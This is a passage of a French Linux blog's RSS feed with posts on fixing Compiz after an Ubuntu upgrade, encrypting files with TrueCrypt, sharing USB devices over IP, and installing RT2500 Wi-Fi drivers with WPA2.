<div>Ctrl-D deux fois pour quitter, et redémarrer votre ordinateur.</div>
<div>Source <a title="Source" href="http://ubuntuforums.org/showthread.php?t=1677888" target="_blank">ICI</a></div>
<div>Pfiou, il est 1h du matin, mon ordinateur démarre&#8230; enfin presque.</div>
<div>A l&#8217;écran de connexion, je me connecte avec mon login, et là je m’aperçoit que rien ne vas plus. Compiz est extrêmement lent, et par dessus tout n&#8217;affiche pas les décorations de fenêtre, ce qui est un peu gênant.</div>
<div><strong>Compiz fait un peu ce qu&#8217;il veut</strong></div>
<div>Je ne vais pas tourner autour du pot, je me lance dans la re-configuration de Compiz.</div>
<div>Pour cela, je commence par supprimer tous les fichier de configuration liés à compiz.</div>
<blockquote>
<div>find -iname *compiz*</div>
</blockquote>
<div>Je supprime tous les fichiers trouvés, avec la commande &laquo;&nbsp;rm&nbsp;&raquo;.</div>
<div>Si vous pouvez encore fermer votre session, ou accéder à un terminal pour vous déconnecter, faites-le&#8230; sinon faites le gros bourrin en utilisant la commande &laquo;&nbsp;shutdown &#8211;boutton&nbsp;&raquo; (cette commande n&#8217;existe pas, c&#8217;est de l&#8217;humour <img src='http://my1.fr/blog/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' />  ).</div>
<div>Tout est revenu à peu prêt dans l&#8217;ordre&#8230; Il m&#8217;a fallu toute fois réinstaller Ubuntu Tweak, et recompiler les modules de VMware Workstation.</div>
<div>La prochaine fois c&#8217;est sûr, je ne ferais pas cela le soir&#8230;</div>
<div>De mon coté, j&#8217;ai un peu testé Unity et je n&#8217;aime pas trop sur mon ordi perso&#8230; Peut-être parce que j&#8217;aime bien avoir un écran 100% clean, sans trop de barres &amp; compagnie. Peut-être qu&#8217;il me séduira lorsque j&#8217;aurai un netbook, mais en attendant je ne l&#8217;utilise pas.</div>
<div>Si vous avez d&#8217;autres soucis à cause de cette mise à jour, et que vous désirez me le faire remonter, n&#8217;hésitez pas à me le faire partager pour que je mette à jour l&#8217;article !</div>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/mise-a-jour-dubuntu-10-10-vers-ubuntu-11-04/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Chiffrer ses données à la volée avec Truecrypt</title>
		<link>http://my1.fr/blog/chiffrer-ses-donnees-a-la-volee-avec-truecrypt/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=chiffrer-ses-donnees-a-la-volee-avec-truecrypt</link>
		<comments>http://my1.fr/blog/chiffrer-ses-donnees-a-la-volee-avec-truecrypt/#comments</comments>
		<pubDate>Wed, 18 May 2011 17:59:55 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[planete-libre]]></category>
		<category><![CDATA[sécurité]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=133</guid>
		<description><![CDATA[Il y a quelques mois de cela, j&#8217;ai rédigé un article sur différents moyens de surfer sécurisé. Aujourd&#8217;hui, c&#8217;est un moyen de protéger ses fichiers que nous allons voir ensemble. Certains mots reviennent toujours, comme par exemple le chiffrement qui est d&#8217;actualité. En effet, protéger vos fichiers revient à les mettre non seulement en lieu [...]]]></description>
			<content:encoded><![CDATA[<p>Il y a quelques mois de cela, j&#8217;ai rédigé un article sur différents moyens de surfer sécurisé.</p>
<p>Aujourd&#8217;hui, c&#8217;est un moyen de protéger ses fichiers que nous allons voir ensemble.</p>
<p>Certains mots reviennent toujours, comme par exemple le chiffrement qui est d&#8217;actualité. En effet, protéger vos fichiers revient à les mettre non seulement en lieu sur, mais surtout accessible que par vous même.</p>
<p>En premier lieu, nous pouvons définir quels types de fichiers il est intéressant de protéger :</p>
<ul>
<li>vos fichiers liés à votre vie privée (extraits de compte bancaires, documents officiels, fichiers de mots de passe, etc)</li>
<li>vos fichiers professionnels (confidentiels ou non, ils ne regardent que vous)</li>
<li>et tout autre fichier sensible comme vos certificats SSL par exemple, ou encore des documents secrets.</li>
</ul>
<p>Voici maintenant plusieurs situations qui ne sont que des exemples, mais qui peuvent corrompre vos informations personnelles rapidement :</p>
<ul>
<li>vol, ou perte d&#8217;ordinateur (contenant un ou plusieurs disques durs)</li>
<li>piratage de votre système (via Internet, ou le réseau de votre entreprise)</li>
<li>accès à votre ordinateur par d&#8217;autres personnes (collègues ou amis)</li>
</ul>
<p>Brefs, dans tous les cas, nous avons tous des fichiers sensibles, et nous allons voir comment les garder bien au chaud.</p>
<p>Une solution très efficace : <a title="Site officiel" href="http://www.truecrypt.org/" target="_blank">Truecrypt </a>.</p>
<p>C&#8217;est un logiciel qui permet deux choses :</p>
<ul>
<li>chiffrer des données à la volée (par un simple copier collé)</li>
<li>stocker ces données soit dans un fichier qui sera monté comme un volume, soit sur une partition qui sera au préalablement formatée par Truecrypt.</li>
</ul>
<p>L&#8217;avantage d&#8217;une telle solution est tout d&#8217;abord l&#8217;impossibilité pour une personne tierce de voir que vous utilisez un moyen de chiffrement. Le fichier ou le périphérique est complétement anodin, et vous offre le déni plausible dans une situation de force. En d&#8217;autres termes, personne ne vous mettra le couteau sous la gorge pour vous demander un mot de passe, puisque vos données sont stockées dans un fichier chiffré, qui n&#8217;a aucune apparence d&#8217;un fichier chiffré.</p>
<p>Nous allons voir l&#8217;utilité de ces deux fonctionnement possibles, mais avant tout sachez une chose : vos volumes seront protégés par un mot de passe, et si vous avez envie de renforcer la sécurité, par une clé SSL. Il est primordial de ne pas oublier ce mot de passe, sinon vos fichiers seraient perdus à jamais. De plus, il est bon de rappeler d&#8217;avoir des sauvegardes sur plusieurs périphériques différents, au cas où l&#8217;un deviendrait défectueux. Bon c&#8217;est finis, j&#8217;arrête de vous plomber le moral, et je passe à l&#8217;action.</p>
<p>&nbsp;</p>
<ul>
<li><span style="text-decoration: underline;"><strong>Téléchargement de Truecrypt</strong></span></li>
</ul>
<p>Ce logiciel est gratuit, et dispose d&#8217;une licence dite libre par les éditeurs, mais reconnue non open-source par certaines distributions Linux. Il fonctionne sous Linux, Mac OS X et MS Windows. Les données chiffrées sur un système d&#8217;exploitation sont bien entendu accessibles depuis un autre.</p>
<p>Voici le <a title="Download" href="http://www.truecrypt.org/downloads" target="_blank">lien de téléchargement</a>.</p>
<p>Pour le paquetage linux, je vous suggère la version &laquo;&nbsp;standard&nbsp;&raquo; qui comprend une interface graphique. Cependant, sur un serveur, la version &laquo;&nbsp;Console-only&nbsp;&raquo; sera la plus appropriée.</p>
<p>Il s&#8217;installe simplement en exécutant le binaire téléchargé, rien de bien compliqué.</p>
<p>&nbsp;</p>
<ul>
<li><span style="text-decoration: underline;"><strong>Utilisation de Truecrypt</strong><strong> par la création d&#8217;un fichier</strong></span></li>
</ul>
<p>Nous l&#8217;avons dit plus haut, vous avez la possibilité de créer un fichier vide dans lequel vous placerez vos fichiers confidentiels. Ce fichier sera de taille fixe, et entièrement chiffré avec plusieurs algorithmes. C&#8217;est donc un moyen très facile pour envoyer des fichiers de manière ultra sécurisée par e-mail, par FTP, ou encore si vous devez les stocker sur une clé USB.</p>
<p>Cliquez sur &laquo;&nbsp;<em>Volumes</em>&laquo;&nbsp;, puis sur &laquo;&nbsp;<em>Create New Volume</em>&nbsp;&raquo; (chez moi c&#8217;est en anglais !). Choisissez ensuite &laquo;&nbsp;<em>Create an encrypted file container</em>&nbsp;&raquo; (1er choix par défaut). Pour la suite, un volume standard fera l&#8217;affaire dans la plupart des situations. Mais sachez qu&#8217;il est possible de créer un volume caché sur une partition. Il convient ensuite de choisir l&#8217;emplacement du fichier à créer, et son nom.</p>
<p>Ensuite, ce sont les algorithmes de chiffrement qu&#8217;il faudra sélectionner. Pour des petits volumes (5 Mo par exemple), je suggère la combinaisons des algorithmes &laquo;&nbsp;<em>Serpent-Twofish-AES</em>&laquo;&nbsp;, qui permettra une vitesse d&#8217;écriture d&#8217;environ 70 Mo/s selon votre matériel. Pour des gros volumes, vous pouvez soit utiliser la même chose que précédemment, tout en assumant la vitesse lente de copie, ou alors opter pour un seul chiffrement comme par exemple &laquo;&nbsp;Serpent&nbsp;&raquo;, qui propose une vitesse moyenne d&#8217;écriture 130 Mo/s.</p>
<p>Personnellement, tous mes volumes utilisent &laquo;&nbsp;<em>Serpent-Twofish-AES</em>&laquo;&nbsp;, histoire n&#8217;être vraiment protégé. Les informations du volumes (mot de passe, etc) sont hachées, par l&#8217;algorithme de votre choix. Mon choix par défaut est <em>&laquo;&nbsp;SHA-512&#8243;</em>, développé par la NSA (oui, donc vous comprenez pourquoi je l&#8217;ai choisis !).</p>
<p>Il faut maintenant choisir la taille du fichier. A vous d&#8217;estimer combien de mémoire il vous faudra pour stocker vos fichiers confidentiels, sachant que pour un volume d&#8217;1 Mo, seuls 746 Ko seront disponibles.</p>
<p>Une fois votre fichier créé, il va falloir le &laquo;&nbsp;monter&nbsp;&raquo; avec Truecrypt. Dans la fenêtre principale, choisissez un slot de libre, puis cliquez sur &laquo;&nbsp;<em>Select File</em>&laquo;&nbsp;. En cliquant sur &laquo;&nbsp;<em>Mount</em>&laquo;&nbsp;, il vous sera demandé le mot de passe, et si besoin les clés SSL pour ouvrir le volume.</p>
<p>Copier vos fichiers dans ce volume reviendra à les chiffrer à la volée.</p>
<p>&nbsp;</p>
<ul>
<li><span style="text-decoration: underline;"><strong>Utilisation de Truecrypt</strong><strong> par la création d&#8217;une partition</strong></span></li>
</ul>
<p>Si vous souhaitez protéger des fichiers présents sur votre ordinateur, il serait préférable de créer une partition qui serait dédiée.</p>
<p>Le principe de création est le même que pour un fichier conteneur.</p>
<p>Le mieux est de disposer d&#8217;une partition au préalablement formatée en NTFS. Truecrypt se chargera de la reformater avec les algorithmes choisis. Si vous ne savez pas lesquels choisir, reportez vous au paragraphe précédent.</p>
<p>Attention cependant sous MS Windows où la partition apparaitra comme une partition non formatée. Une fois montée, pas de soucis accéder librement à vos fichiers ! Ne vous faites pas avoir !</p>
<p>La partition se monte également avec Truecrypt en cliquant sur &laquo;&nbsp;<em>Select device</em>&laquo;&nbsp;, puis en sélectionnant le périphérique voulu.</p>
<p>Personnellement, j&#8217;utilise cette méthode pour conserver sur mon ordinateur des fichiers sensibles.</p>
<p>Sachez toutefois qu&#8217;il faut démonter le volume une fois que vous quitter votre ordinateur :</p>
<ul>
<li>Sous MS Windows, une déconnexion d&#8217;utilisateur<strong> n&#8217;entraine pas le démontage du volume</strong>, attention donc si vous utilisez des sessions !</li>
<li>Les fichiers étant montés sur l&#8217;ordinateur, restent à la merci de tout pirate ayant accès à votre ordinateur.</li>
</ul>
<p>Il faudra donc éviter de mémoriser les mots de passe des volumes (en désactivant l&#8217;historique), ainsi que de les laisser ouverts.</p>
<p>Enfin, je vous conseille vivement un<strong> mot de passe long et compliqué</strong> (au moins 15 caractères avec des lettres, des chiffres et des symboles). Par exemple, une phrase mnémotechnique peut faire l&#8217;affaire. En effet, avec un outil de bruteforce il serait possible d&#8217;ouvrir le fichier ou périphérique au bout d&#8217;un certain temps. Plus votre mot de passe est long et dur, plus de temps il sera nécessaire pour accéder aux données.</p>
<p>&nbsp;</p>
<ul>
<li><span style="text-decoration: underline;"><strong>Conclusion</strong></span></li>
</ul>
<p>Truecrypt est un logiciel de chiffrement à la volée parmi tant d&#8217;autres.. Pas de backdoor, et le code source est complètement ouvert à tous.</p>
<p>Sachez que l&#8217;application est également disponible en &laquo;&nbsp;application portable&nbsp;&raquo; et qu&#8217;il est possible (et même conseillé) de changer les mots de passe des volumes autant de fois que l&#8217;on souhaite.</p>
<p>Protéger ses fichiers est aussi important que de protéger ses informations personnelles.</p>
<p>Dans un environnement toujours plus &laquo;&nbsp;online&nbsp;&raquo;, il est plus que nécessaire d&#8217;utiliser ce type de solution. A bon entendeur !</p>
<p>&nbsp;</p>
<p>[Edit] J&#8217;ai pris en compte vos commentaires, et je remercie des précisions qui m&#8217;ont été apportées. J&#8217;ai bien entendu corrigé le fait que Truecrypt n&#8217;est pas un logiciel reconnu comme libre. Merci de faire vivre ce blog !</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/chiffrer-ses-donnees-a-la-volee-avec-truecrypt/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>USB Over IP sous Linux</title>
		<link>http://my1.fr/blog/usb-over-ip-sous-linux/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=usb-over-ip-sous-linux</link>
		<comments>http://my1.fr/blog/usb-over-ip-sous-linux/#comments</comments>
		<pubDate>Mon, 15 Feb 2010 22:45:39 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Logiciels libres]]></category>
		<category><![CDATA[Usb over IP]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/2010/02/15/usb-over-ip-sous-linux/</guid>
		<description><![CDATA[Vous disposez d&#8217;une imprimante USB (et seulement USB). Pour l&#8217;instant, vous n&#8217;avez aucun moyen de la contrôler depuis un autre ordinateur chez vous. Nous supposons bien entendu que les deux ordinateurs sont en réseaux (par le biais d&#8217;une box par exemple). Je veux pouvoir transformer mon imprimante USB en imprimante réseau (et donc pouvoir l&#8217;utiliser [...]]]></description>
			<content:encoded><![CDATA[<p>Vous disposez d&#8217;une imprimante USB (et seulement USB). Pour l&#8217;instant, vous n&#8217;avez aucun moyen de la contrôler depuis un autre ordinateur chez vous. Nous supposons bien entendu que les deux ordinateurs sont en réseaux (par le biais d&#8217;une box par exemple).</p>
<p>Je veux pouvoir transformer mon imprimante USB en imprimante réseau (et donc pouvoir l&#8217;utiliser et la contrôler partout chez moi).</p>
<p>La première solution qui s&#8217;offre à vous consiste à acheter un appareil qui partage sur le réseau les périphériques USB. Prévoyez un budget minimum de 100 euros pour avoir quelque chose de bien.</p>
<p>Mais heureusement que l&#8217;Open-Source est là, et nous allons nous débrouiller nous même, avec un budget de&#8230; 0 euros !</p>
<p>USB/IP est une excellente solution logicielle.</p>
<p><strong>Procédure coté serveur </strong></p>
<p>1- Téléchargez le logiciel présent dans les dépôts Debian / Ubuntu :</p>
<p><strong>sudo aptitude install usbip </strong></p>
<p>Vous devez charger les modules suivants pour être capable de contrôler vos ports USB :</p>
<p><strong>sudo modprobe usbip<br />
sudo modprobe usbip_common_mod </strong></p>
<p>Pour démarrer le service « usbip » comme un démon :</p>
<p><strong>sudo usbipd -D </strong></p>
<p>Le message suivant s&#8217;affiche.</p>
<p>Bind usbip.ko to a usb device to be exportable!</p>
<p>Pas de panique ! C&#8217;est normal. Cela signifie vous devez choisir quel sera le port USB à partager.</p>
<p>1- Branchez votre appareil USB (imprimante, webcam, etc&#8230;)</p>
<p>2- Exécutez la commande pour trouver l&#8217;identifiant du vendeur et de l&#8217;appareil :</p>
<p><strong>lsusb</strong></p>
<p>Il est sous la forme :</p>
<p><em>Bus XXX Device ZZZ: ID VendorID:DeviceID </em></p>
<p>Les identifiants Vendeur / Appareil (Vendor / Device) sont codés sur 4 digits chacun (03f0:7a11 par exemple).Le premier (03f0) est pour Hewlett-Packard (qui est la marque de mon imprimante), et le second (7a11) est l&#8217;appareil USB (ici, mon imprimante en elle même).</p>
<p>Maintenant que nous avons trouvé les identifiants matériel, nous sommes capable de localiser sa position sur le bus.</p>
<p><strong>sudo usbip_bind_driver &#8211;list </strong></p>
<p>Résultat :</p>
<p>busid 2-1.2 (03f0:7a11)<br />
2-1.2:1.0 -&gt; none<br />
2-1.2:1.1 -&gt; usblp<br />
2-1.2:1.2 -&gt; none<br />
2-1.2:1.3 -&gt; usb-storage</p>
<p>Trouvez l&#8217;identifiant du bus sur lequel est notre imprimante. Ici, c&#8217;est « 2-1.2 ».</p>
<p>Il est temps maintenant de connecter l&#8217;appareil USB au réseau :</p>
<p><strong>sudo usbip_bind_driver –usbip 2-1</strong></p>
<p>Vous devez avoir une réponse finale du genre :</p>
<p>** Message: bind 2-1.2 to usbip, complete!</p>
<p>Une fois cette commande exécutée, le serveur est maintenant en écoute sur le réseau dans l&#8217;attente de connections clients.</p>
<p><strong>Procédure coté client </strong></p>
<p>Installation du logiciel :</p>
<p><strong>sudo apt-get install usbip </strong></p>
<p>Chargez le module &laquo;&nbsp;vhci-hcd&nbsp;&raquo; :</p>
<p><strong>sudo modprobe vhci-hcd </strong></p>
<p>Pour lister les périphériques USB disponibles sur le serveur :</p>
<p><strong>sudo usbip -l &lt;@ ip&gt; </strong></p>
<p>Bien entendu, remplacer &lt;@ ip&gt; par l&#8217;adresse IP du serveur.</p>
<p>Enfin, la commande qui nous apporte un nouveau périphérique USB :</p>
<p><strong>sudo usbip -a &lt;@ ip&gt; X-Y</strong></p>
<p>Remplacer X-Y par le l&#8217;identifiant du bus (2-1.2:1.1 pour l&#8217;exemple de tout à l&#8217;heure).</p>
<p>Si tout va bien, le périphérique est maintenant reconnu par le système. Si c&#8217;est un périphérique amovible, le périphérique sera monté; dans le cas d&#8217;une imprimante, il faudra l&#8217;installer comme une imprimante normale.</p>
<p>Sachez également logiciel client existe aussi sous Windows et je vous donne même le <a href="http://ignum.dl.sourceforge.net/project/usbip/usbip/usbip-win-preview/usbip-win.zip">lien de téléchargement</a>.</p>
<p>Tout d&#8217;abord, il faut extraire l&#8217;archive téléchargée.<br />
En premier lieu, il faut installer le driver en cliquant droit sur le fichier bus.inf, puis sur « Installer ».<br />
Ensuite, exécutez une invite de commande Windows (Menu Démarrer, Exécuter, « cmd »).<br />
Avec la commande « cd » (comme sous Linux !), déplacez vous dans le répertoire où se trouve l&#8217;exécutable d&#8217;usbip.</p>
<p>Pour lister les périphériques USB disponibles sur le serveur (dans une invite de commande) :</p>
<p><strong>usbip.exe -l &lt;@ ip&gt; </strong></p>
<p>Et ensuite, la commande qui nous apporte un nouveau périphérique USB :</p>
<p><strong>usbip.exe -a &lt;@ ip&gt; USB-ID</strong></p>
<p>C&#8217;est bon ! Le périphérique USB doit maintenant être détecté par Windows !</p>
<p>J&#8217;espère avoir été clair sur les explications. Si vous avez suivi ce que j&#8217;ai fait à la lettre, tout devrait fonctionner. Sinon, vérifiez bien que vous avez choisi le bon identifiant du périphérique USB.<br />
J&#8217;ai testé et ça fonctionne : Imprimante USB transformée en imprimante réseau, disque dur USB partagé sur le réseau, Webcam utilisée comme caméra de surveillance.</p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/usb-over-ip-sous-linux/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Linux Starter Kit</title>
		<link>http://my1.fr/blog/linux-starter-kit-2/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=linux-starter-kit-2</link>
		<comments>http://my1.fr/blog/linux-starter-kit-2/#comments</comments>
		<pubDate>Wed, 10 Feb 2010 22:46:45 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Logiciels libres]]></category>
		<category><![CDATA[Magazine]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/2010/02/10/linux-starter-kit-2/</guid>
		<description><![CDATA[Une info toute fraîche pour les fans de Linux (j&#8217;espère nombreux) ou ceux qui veulent se lancer : Le magazine Linux Identity publie fin du mois une édition spéciale, en quelque sorte destinnée aux débutants désirant de &#171;&#160;lancer&#160;&#187; dans l&#8217;univers palpitant de Linux : Linux Starter Kit. Donc au programme, installations, comment faire cohabiter Ubuntu [...]]]></description>
			<content:encoded><![CDATA[<p>Une info toute fraîche pour les fans de Linux (j&#8217;espère nombreux) ou ceux qui veulent se lancer :</p>
<p>Le magazine Linux Identity publie fin du mois une édition spéciale, en quelque sorte destinnée aux débutants désirant de &laquo;&nbsp;lancer&nbsp;&raquo; dans l&#8217;univers palpitant de Linux : Linux Starter Kit.</p>
<p>Donc au programme, installations, comment faire cohabiter Ubuntu avec Windows, pas mal d&#8217;articles sur les applications intéressantes, et plein de trucs et astuces pour mieux utiliser son ordinateur.</p>
<p>Le magazine traîte surtout sur la distribution Ubuntu 9.10 Karmic Koala, en raison de sa popularité écrasante. Mais la pluparts des logiciels libres évoqués sont présents dans d&#8217;autres distrib&#8217;, donc pas de panique !</p>
<p>Bon je n&#8217;en dis pas plus !</p>
<p>Alors je vous donne rendez-vous dans quelques jours, dans votre kiosque, vous savez ce qu&#8217;il vous reste à faire !</p>
<p>NdM : Vous vous demandez certainement comment suis-je aussi bien informé, c&#8217;est parce que j&#8217;ai écris quelques articles pour le magazine.</p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/linux-starter-kit-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Chipset RT2500 en WPA2</title>
		<link>http://my1.fr/blog/chipset-rt2500-en-wpa2/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=chipset-rt2500-en-wpa2</link>
		<comments>http://my1.fr/blog/chipset-rt2500-en-wpa2/#comments</comments>
		<pubDate>Thu, 04 Oct 2007 17:43:34 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[rt2500]]></category>
		<category><![CDATA[wifi]]></category>
		<category><![CDATA[wpa]]></category>
		<category><![CDATA[wpa-aes]]></category>
		<category><![CDATA[wpa2]]></category>

		<guid isPermaLink="false">http://www.my1.fr/blog/?p=11</guid>
		<description><![CDATA[Beaucoup d’ordinateurs (dont les miens) ont des chipsets RT2500 pour le Wifi. Ils peuvent être présents sur des PC fixes ou des portables. Vous le savez certainement mais je préfère le rappeler que le WPA (Wifi Protected Access) est le moyen le plus sécurisé (à l’heure où j’écris ce billet) pour sécuriser un réseau Wifi. [...]]]></description>
			<content:encoded><![CDATA[<p class="post-content">Beaucoup d’ordinateurs (dont les miens) ont des chipsets RT2500 pour le Wifi. Ils peuvent être présents sur des PC fixes ou des portables.</p>
<p>Vous le savez certainement mais je préfère le rappeler que le <a href="http://fr.wikipedia.org/wiki/Wi-Fi_Protected_Access" title="C'est quoi le WPA ?">WPA</a> (Wifi Protected Access) est le moyen le plus sécurisé (à l’heure où j’écris ce billet) pour sécuriser un réseau Wifi. Contrairement aux faiblesse du WEP, WPA n’est “crackable” uniquement par la méthode bien connue du brute force.</p>
<p>Nous en sommes actuellement à la version WPA2 basé sur les protocoles <a href="http://fr.wikipedia.org/wiki/Standard_de_chiffrement_avanc%C3%A9" title="Standard de chiffrement avancé">AES</a> et <a href="http://fr.wikipedia.org/wiki/CCMP" title="CCMP">CCMP</a>.</p>
<p>Si votre routeur Wifi ou votre BOX est dotée d’une clé WEP, je vous conseille vivement de changer pour le WPA qui vous évitera peut être des ennuis.</p>
<p>Nous allons installer les paquets nécessaires :</p>
<p><font color="#ff0000"><code>apt-get install wireless-tools module-assistant rt2500-source</code><br />
<code>module-assistant auto-install rt2500-source</code><br />
<code>insmod /lib/modules/2.6.21-2-686/kernel/drivers/net/wireless/rt2500.ko</code><br />
</font>   <code><font color="#ff0000">lsmod</font><code></code></code></p>
<p>“rt2500″ doit être affiché dans la liste. Si c’est bon, continuons, sinon c’est que la paquetage n’a pas été installé. Dans ce cas, recommencez.</p>
<p>Pour ceux qui n’utilisent pas Debian et qui n’ont pas les paquets dans leurs dépôts, il y existe encore l’ancienne méthode :</p>
<p><font color="#ff0000"><code>cd /usr/src/modules<code><br />
<code>wget http://rt2x00.serialmonkey.com/rt2500-cvs-daily.tar.gz</code><br />
<code>tar -zxvf rt2500-cvs-daily.tar.gz</code><br />
<code>rt2500-cvs-2006071214/Module</code><br />
<code>make</code><br />
<code>make install</code></code></code></font></p>
<p><font color="#ff0000"><code>insmod rt2500.ko</code><br />
<code>lsmod</code></font></p>
<p>rt2500 doit être dans la liste !</p>
<p><font color="#ff0000"><code>iwlist ra0 scan</code>      </font>// Pour tester que l’on reçoit bien le signal Wifi.</p>
<p>Nous allons maintenant éditer le fichier de configuration réseau :</p>
<p><code><font color="#ff0000">vim /etc/network/interfaces  </font> </code></p>
<blockquote><p><font color="#ff00ff"><code> auto ra0<br />
iface ra0 inet dhcp<br />
pre-up ifconfig ra0 up<br />
pre-up iwpriv ra0 set AuthMode=WPAPSK<br />
pre-up iwpriv ra0 set EncrypType=AES<br />
pre-up iwconfig ra0 essid “NOM_DU_WIFI”       // VALEUR A CHANGER  (ESSID)<br />
pre-up iwpriv ra0 set WPAPSK=”CLE_WPA”     // VALEUR A CHANGER  (Clé WPA)</code></font></p></blockquote>
<p>L’ordre est important ainsi qu’un <code><font color="#ff0000">/etc/init.d/networking restart</font> </code></p>
<p>Et le tour est joué, votre réseau wifi protégé par une clé WPA-AES est maintenant accessible sur votre machine automatiquement, même au démarrage !</p>
<p>Il existe bien sur des outils en interface graphique tel que wpa-gui mais l’ancienne méthode est des fois plus efficace…</p>
<p><a href="http://rt2x00.serialmonkey.com/wiki/index.php/Debian_rt2500_Howto" title="Référence, en anglais !">Référence</a></p>
<p><!-- fin post-content --></p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/chipset-rt2500-en-wpa2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

